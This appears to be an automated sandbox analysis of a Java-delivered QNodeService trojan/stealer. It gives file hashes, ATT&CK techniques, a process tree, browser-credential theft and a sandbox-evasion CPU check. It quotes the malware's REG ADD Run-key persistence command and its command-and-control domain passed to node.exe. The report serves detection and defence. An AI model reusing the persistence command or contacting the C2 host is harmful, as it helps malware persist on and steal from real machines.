qnodeservice | 2a668c8e9f7e67de0b3bb60b71eb701884c98545d2e5b87e4aa97272847bb563

General

Target

Parcel Delivery Note.jar
Size

77KB
MD5

0d96c82bc640a7304649e294a69b9263
SHA1

2a611f879a6e4fa4bf7997392b8735ff6d752c1e
SHA256

2a668c8e9f7e67de0b3bb60b71eb701884c98545d2e5b87e4aa97272847bb563
SHA512

487a6b6c4142d154030b26a25a8ae43876f7cde9de3465bae3ab95de00920e958c2ff78e6923cca35e9e06dbf1731f980e039bcb26553a4e950f8e621f1be6ed

Score

10^/10

trojan qnodeservice persistence spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2872	node.exe
3508	node.exe
1684	node.exe

Loads dropped DLL 6 IoCs

pid	Process
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\b5e57052-91ea-4f36-bc1e-e1f4b566b61c = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab66-174.dat	js
behavioral2/files/0x000100000001ab66-178.dat	js
behavioral2/files/0x000100000001ab66-182.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2872	node.exe
2872	node.exe
2872	node.exe
2872	node.exe
3508	node.exe
3508	node.exe
3508	node.exe
3508	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe
1684	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 812	3996	java.exe	75
PID 3996 wrote to memory of 812	3996	java.exe	75
PID 812 wrote to memory of 2872	812	javaw.exe	76
PID 812 wrote to memory of 2872	812	javaw.exe	76
PID 2872 wrote to memory of 3508	2872	node.exe	78
PID 2872 wrote to memory of 3508	2872	node.exe	78
PID 3508 wrote to memory of 1684	3508	node.exe	79
PID 3508 wrote to memory of 1684	3508	node.exe	79
PID 1684 wrote to memory of 1076	1684	node.exe	81
PID 1684 wrote to memory of 1076	1684	node.exe	81
PID 1076 wrote to memory of 632	1076	cmd.exe	82
PID 1076 wrote to memory of 632	1076	cmd.exe	82

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Parcel Delivery Note.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\e95b14f5.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain topguns.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rN7cuj\boot.js --hub-domain topguns.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rN7cuj\boot.js --hub-domain topguns.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b5e57052-91ea-4f36-bc1e-e1f4b566b61c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1076
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b5e57052-91ea-4f36-bc1e-e1f4b566b61c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1684-183-0x000000A2D0100000-0x000000A2D0101000-memory.dmp

Filesize
4KB

Download
memory/2872-176-0x000002FA44880000-0x000002FA44881000-memory.dmp

Filesize
4KB

Download
memory/3508-179-0x0000003A08740000-0x0000003A08741000-memory.dmp

Filesize
4KB

Download

Analysis

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